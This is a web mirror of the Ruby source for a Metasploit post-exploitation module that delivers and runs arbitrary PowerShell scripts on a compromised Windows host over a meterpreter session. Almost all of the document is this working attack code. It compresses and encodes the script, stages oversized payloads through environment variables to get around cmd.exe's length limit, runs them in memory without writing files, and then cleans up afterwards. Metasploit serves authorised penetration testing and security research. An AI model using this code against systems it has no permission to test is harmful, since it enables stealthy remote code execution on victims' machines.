CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/powershell/exec_powershell.rb
Views: 11788
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# Original script comments by nick[at]executionflow.org:
8
# Meterpreter script to deliver and execute powershell scripts using
9
# a compression/encoding method based on the powershell PoC code
10
# from rel1k and winfang98 at DEF CON 18. This script furthers the
11
# idea by bypassing Windows' command character lmits, allowing the
12
# execution of very large scripts. No files are ever written to disk.
13
##
14
15
require 'zlib' # TODO: check if this can be done with REX
16
17
class MetasploitModule < Msf::Post
18
include Msf::Post::Windows::Powershell
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'Windows Manage PowerShell Download and/or Execute',
25
'Description' => %q{
26
This module will download and execute a PowerShell script over a meterpreter session.
27
The user may also enter text substitutions to be made in memory before execution.
28
Setting VERBOSE to true will output both the script prior to execution and the results.
29
},
30
'License' => MSF_LICENSE,
31
'Platform' => ['win'],
32
'SessionTypes' => ['meterpreter'],
33
'Author' => [
34
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
35
'RageLtMan <rageltman[at]sempervictus>' # post module
36
],
37
'Compat' => {
38
'Meterpreter' => {
39
'Commands' => %w[
40
stdapi_sys_config_sysinfo
41
]
42
}
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
50
]
51
)
52
53
register_advanced_options(
54
[
55
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
56
OptBool.new('DELETE', [false, 'Delete file after execution', false ]),
57
OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]),
58
OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
59
]
60
)
61
end
62
63
def run
64
# Make sure we meet the requirements before running the script, note no need to return
65
# unless error
66
return 0 if !(session.type == 'meterpreter' || have_powershell?)
67
68
# End of file marker
69
eof = Rex::Text.rand_text_alpha(8)
70
env_suffix = Rex::Text.rand_text_alpha(8)
71
72
# check/set vars
73
subs = process_subs(datastore['SUBSTITUTIONS'])
74
script_in = read_script(datastore['SCRIPT'])
75
print_status(script_in)
76
77
# Make substitutions in script if needed
78
script_in = make_subs(script_in, subs) unless subs.empty?
79
80
# Get target's computer name
81
computer_name = session.sys.config.sysinfo['Computer']
82
83
# Create unique log directory
84
log_dir = ::File.join(Msf::Config.log_directory, 'scripts', computer_name)
85
::FileUtils.mkdir_p(log_dir)
86
87
# Define log filename
88
script_ext = ::File.extname(datastore['SCRIPT'])
89
script_base = ::File.basename(datastore['SCRIPT'], script_ext)
90
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
91
log_file = ::File.join(log_dir, "#{script_base}-#{time_stamp}.txt")
92
93
# Compress
94
print_status('Compressing script contents.')
95
compressed_script = compress_script(script_in, eof)
96
if datastore['DRY_RUN']
97
print_good("powershell -EncodedCommand #{compressed_script}")
98
return
99
end
100
101
# If the compressed size is > 8100 bytes, launch stager
102
if (compressed_script.size > 8100)
103
print_error("Compressed size: #{compressed_script.size}")
104
error_msg = 'Compressed size may cause command to exceed '
105
error_msg += "cmd.exe's 8kB character limit."
106
print_error(error_msg)
107
print_status('Launching stager:')
108
script = stage_to_env(compressed_script, env_suffix)
109
print_good('Payload successfully staged.')
110
else
111
print_good("Compressed size: #{compressed_script.size}")
112
script = compressed_script
113
end
114
115
# Execute the powershell script
116
print_status('Executing the script.')
117
cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])
118
119
# Write output to log
120
print_status("Logging output to #{log_file}.")
121
write_to_log(cmd_out, log_file, eof)
122
123
# Clean up
124
print_status('Cleaning up residual objects and processes.')
125
clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
126
127
# That's it
128
print_good('Finished!')
129
end
130
end
131
132